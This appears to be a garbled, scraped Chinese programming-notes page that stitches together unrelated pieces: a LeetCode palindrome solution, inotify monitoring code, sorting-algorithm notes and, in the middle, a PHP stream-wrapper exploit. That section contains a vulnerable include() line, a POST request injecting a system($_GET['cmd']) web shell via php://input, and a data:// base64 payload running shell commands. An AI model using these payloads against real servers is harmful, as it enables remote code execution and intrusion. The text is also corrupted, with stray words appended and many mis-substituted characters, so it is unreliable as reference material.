https://leetcode.com/problems/valid-palindrome/php
给定一个字符串,验证它是不是回文串,只考虑字母和数字字符,能够忽略字母的大小写。 说明:本题中,咱们将空字符串定义为有效的回文串。 示例 1: 输入: "A man, a plan, a canal: Panama" 输出: true 示例 2: 输入: "race a car" 输出: false
一、普通思路html
把数字和字符提取出来,而后若是是字母就转换为小写。加到新的字符串中。linux
对于这个新的字符串,使用一个多条件循环,分别从字符串头、字符串尾遍历字符串的中间值,若是不一致就退出。直到遍历结束仍是一致就断定为回文字符串。git
二、高级思路github
在discuss看到的答案。算法
用一个大循环分别从字符串头、字符串尾遍历字符串的中间值,里面两个小循环,用isalnum()函数判断是否是字母数字,若是不是就向前移动指针。shell
https://leetcode.com/problems/valid-palindrome/discuss/119173/C++-Easy-to-Understand-Solutionubuntu
第一种方案:数组
先判断是否为数字字母,跟以前写的to-lower-case结合,把大写转换为小写。安全
#include<stdio.h> #include <string> using std::string; class Solution { public: bool isPalindrome(string s) { string re_val = ""; // 除去特殊符号,提取出字符串的小写字母 for (char str_val : s) { // 确认字母数字 if (isalnum(str_val) != false) { if (str_val >= 'A'&& str_val <= 'Z') { // 取小写与大写之间的差值,获得字符对应的小写ASCII码对应是什么存进字符串中 re_val += (str_val + ('a' - 'A')); } else { // 若是是小写就不处理 re_val += str_val; } } } for (int i=0,j=re_val.size()-1; i<j;i++,j--) { //一个指针从左边指到右边,一个指针从右边指向左边。若是有不一样的值,就判断不是回文字符。 if (re_val[i] != re_val[j]) return false; } return true; } }; int main() { Solution solu; bool ret; ret = solu.isPalindrome("A man, a plan, a canal: Panama"); printf("%d \n", ret); ret = solu.isPalindrome("race a car"); printf("%d \n", ret); return 0; }
第二种方案:
bool isPalindrome(string s) { for (int i = 0, j = s.size() - 1; i < j; i++, j--) { // Move 2 pointers from each end until they collide while (isalnum(s[i]) == false && i < j) i++; // Increment left pointer if not alphanumeric while (isalnum(s[j]) == false && i < j) j--; // Decrement right pointer if no alphanumeric if (toupper(s[i]) != toupper(s[j])) return false; // Exit and return error if not match } return true; }
https://www.exploit-db.com/papers/45870
版本:PHP 4.3
大致思路:使用PHP提供的流功能绕过安全防御,能够操做流数据的通用函数以下:
* file * open * fwrite * fclose * file_get_contents * file_put_contents
怎么利用流操做文件数据呢?
流的基础格式:
<wrapper>://<target>
wrapper能够指定要使用的流类型,例如File, FTP, PHPOUTPUT, PHPINPUT, HTTP 或者SSL,可使用如下语句获取可使用的warpper信息:
<?php print_r(stream_get_wrappers()); ?>
利用php://input执行php代码:
POST http://www.example.com?go=php://input%00 HTTP/1.1 Host: example.com Content-Length: 30 <?php system($_GET["cmd"]); ?>
php代码:
<?php include($_GET["go"].".php");
http://www.example.com/?cmd=uname+-a&go=data://text/plain;base64,PD9waHANCnN5c3RlbSgkX0dFVFsiY21kIl0pOw0KPz4==
使用版本太老,PHP5版本没有复现成功。
https://www.ibm.com/developerworks/cn/linux/l-ubuntu-inotify/
https://blog.csdn.net/daiyudong2020/article/details/51695502
调试Linux程序监控特定目录下的程序释放情景。
监控Linux程序文件释放、删除、移动的状态。
Inotify 是一个 Linux 内核特性,它监控文件系统,而且及时向专门的应用程序发出相关的事件警告,好比删除、读、写和卸载操做等。您还能够跟踪活动的源头和目标等细节。
建立一个文件描述符,附加一个或多个监视器(一个监视器 是一个路径和一组事件),而后使用 read()
方法从描述符获取事件信息。read()
并不会用光整个周期,它在事件发生以前是被阻塞的。
更好的是,由于 inotify 经过传统的文件描述符工做,您能够利用传统的 select()
系统调用来被动地监控监视器和许多其余输入源。两种方法 — 阻塞文件描述符和使用 select()
— 都避免了繁忙轮询。
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/inotify.h> #include <unistd.h> #define EVENT_NUM 12 char *event_str[EVENT_NUM] = { "IN_ACCESS", "IN_MODIFY", //文件修改 "IN_ATTRIB", "IN_CLOSE_WRITE", "IN_CLOSE_NOWRITE", "IN_OPEN", "IN_MOVED_FROM", //文件移动from "IN_MOVED_TO", //文件移动to "IN_CREATE", //文件建立 "IN_DELETE", //文件删除 "IN_DELETE_SELF", "IN_MOVE_SELF" }; int main(int argc, char *argv[]) { int fd; int wd; int len; int nread; char buf[BUFSIZ]; struct inotify_event *event; int i; // 判断输入参数 if (argc < 2) { fprintf(stderr, "%s path\n", argv[0]); return -1; } // 初始化 fd = inotify_init(); if (fd < 0) { fprintf(stderr, "inotify_init failed\n"); return -1; } /* 增长监听事件 * 监听全部事件:IN_ALL_EVENTS * 监听文件是否被建立,删除,移动:IN_CREATE|IN_DELETE|IN_MOVED_FROM|IN_MOVED_TO */ wd = inotify_add_watch(fd, argv[1], IN_CREATE|IN_DELETE|IN_MOVED_FROM|IN_MOVED_TO); if(wd < 0) { fprintf(stderr, "inotify_add_watch %s failed\n", argv[1]); return -1; } buf[sizeof(buf) - 1] = 0; while( (len = read(fd, buf, sizeof(buf) - 1)) > 0 ) { nread = 0; while(len> 0) { event = (struct inotify_event *)&buf[nread]; for(i=0; i<EVENT_NUM; i++) { if((event->mask >> i) & 1) { if(event->len > 0) fprintf(stdout, "%s --- %s\n", event->name, event_str[i]); else fprintf(stdout, "%s --- %s\n", " ", event_str[i]); } } nread = nread + sizeof(struct inotify_event) + event->len; len = len - sizeof(struct inotify_event) - event->len; } } return 0;
排序算法的多种实现思路
排序算法的实现、算法的空间复杂度、稳定性是如何?
冒泡排序(Bubble Sort)也是一种简单直观的排序算法。它重复地走访过要排序的数列,一次比较两个元素,若是他们的顺序错误就把他们交换过来。走访数列的工做是重复地进行直到没有再须要交换,也就是说该数列已经排序完成。这个算法的名字由来是由于越小的元素会经由交换慢慢“浮”到数列的顶端。
算法步骤
比较相邻的元素。若是第一个比第二个大,就交换他们两个。 对每一对相邻元素做一样的工做,从开始第一对到结尾的最后一对。这步作完后,最后的元素会是最大的数。 针对全部的元素重复以上的步骤,除了最后一个。 持续每次对愈来愈少的元素重复上面的步骤,直到没有任何一对数字须要比较。
选择排序是一种简单直观的排序算法,不管什么数据进去都是 O(n²) 的时间复杂度。因此用到它的时候,数据规模越小越好。
算法步骤
首先在未排序序列中找到最小(大)元素,存放到排序序列的起始位置 再从剩余未排序元素中继续寻找最小(大)元素,而后放到已排序序列的末尾。 重复第二步,直到全部元素均排序完毕。
插入排序是一种最简单直观的排序算法,它的工做原理是经过构建有序序列,对于未排序数据,在已排序序列中从后向前扫描,找到相应位置并插入。
算法步骤
将第一待排序序列第一个元素看作一个有序序列,把第二个元素到最后一个元素当成是未排序序列。 从头至尾依次扫描未排序序列,将扫描到的每一个元素插入有序序列的适当位置。(若是待插入的元素与有序序列中的某个元素相等,则将待插入元素插入到相等元素的后面。)
希尔排序,也称递减增量排序算法,是插入排序的一种更高效的改进版本。但希尔排序是非稳定排序算法。
希尔排序是基于插入排序的如下两点性质而提出改进方法的:
插入排序在对几乎已经排好序的数据操做时,效率高,便可以达到线性排序的效率;
但插入排序通常来讲是低效的,由于插入排序每次只能将数据移动一位;
希尔排序的基本思想是:先将整个待排序的记录序列分割成为若干子序列分别进行直接插入排序,待整个序列中的记录“基本有序”时,再对全体记录进行依次直接插入排序。
算法步骤
选择一个增量序列 t1,t2,……,tk,其中 ti > tj, tk = 1; 按增量序列个数 k,对序列进行 k 趟排序; 每趟排序,根据对应的增量 ti,将待排序列分割成若干长度为 m 的子序列,分别对各子表进行直接插入排序。仅增量因子为 1 时,整个序列做为一个表来处理,表长度即为整个序列的长度。
归并排序(Merge sort)是创建在归并操做上的一种有效的排序算法。该算法是采用分治法(Divide and Conquer)的一个很是典型的应用。
做为一种典型的分而治之思想的算法应用,归并排序的实现由两种方法:
自上而下的递归(全部递归的方法均可以用迭代重写,因此就有了第 2 种方法);
自下而上的迭代;
算法步骤
申请空间,使其大小为两个已经排序序列之和,该空间用来存放合并后的序列; 设定两个指针,最初位置分别为两个已经排序序列的起始位置; 比较两个指针所指向的元素,选择相对小的元素放入到合并空间,并移动指针到下一位置; 重复步骤 3 直到某一指针达到序列尾; 将另外一序列剩下的全部元素直接复制到合并序列尾。
快速排序是由东尼·霍尔所发展的一种排序算法。在平均情况下,排序 n 个项目要 Ο(nlogn) 次比较。在最坏情况下则须要 Ο(n2) 次比较,但这种情况并不常见。事实上,快速排序一般明显比其余 Ο(nlogn) 算法更快,由于它的内部循环(inner loop)能够在大部分的架构上颇有效率地被实现出来。
快速排序使用分治法(Divide and conquer)策略来把一个串行(list)分为两个子串行(sub-lists)。
快速排序又是一种分而治之思想在排序算法上的典型应用。本质上来看,快速排序应该算是在冒泡排序基础上的递归分治法。
算法步骤
从数列中挑出一个元素,称为 “基准”(pivot); 从新排序数列,全部元素比基准值小的摆放在基准前面,全部元素比基准值大的摆在基准的后面(相同的数能够到任一边)。在这个分区退出以后,该基准就处于数列的中间位置。这个称为分区(partition)操做; 递归地(recursive)把小于基准值元素的子数列和大于基准值元素的子数列排序; 递归的最底部情形,是数列的大小是零或一,也就是永远都已经被排序好了。虽然一直递归下去,可是这个算法总会退出,由于在每次的迭代(iteration)中,它至少会把一个元素摆到它最后的位置去。
堆排序(Heapsort)是指利用堆这种数据结构所设计的一种排序算法。堆积是一个近似彻底二叉树的结构,并同时知足堆积的性质:即子结点的键值或索引老是小于(或者大于)它的父节点。堆排序能够说是一种利用堆的概念来排序的选择排序。分为两种方法:
大顶堆:每一个节点的值都大于或等于其子节点的值,在堆排序算法中用于升序排列;
小顶堆:每一个节点的值都小于或等于其子节点的值,在堆排序算法中用于降序排列;
堆排序的平均时间复杂度为 Ο(nlogn)。
算法步骤
建立一个堆 H[0……n-1]; 把堆首(最大值)和堆尾互换; 把堆的尺寸缩小 1,并调用 shift_down(0),目的是把新的数组顶端数据调整到相应位置; 重复步骤 2,直到堆的尺寸为 1。
计数排序的核心在于将输入的数据值转化为键存储在额外开辟的数组空间中。做为一种线性时间复杂度的排序,计数排序要求输入的数据必须是有肯定范围的整数。
桶排序是计数排序的升级版。它利用了函数的映射关系,高效与否的关键就在于这个映射函数的肯定。为了使桶排序更加高效,咱们须要作到这两点:
同时,对于桶中元素的排序,选择何种比较排序算法对于性能的影响相当重要。
基数排序是一种非比较型整数排序算法,其原理是将整数按位数切割成不一样的数字,而后按每一个位数分别比较。因为整数也能够表达字符串(好比名字或日期)和特定格式的浮点数,因此基数排序也不是只能使用于整数。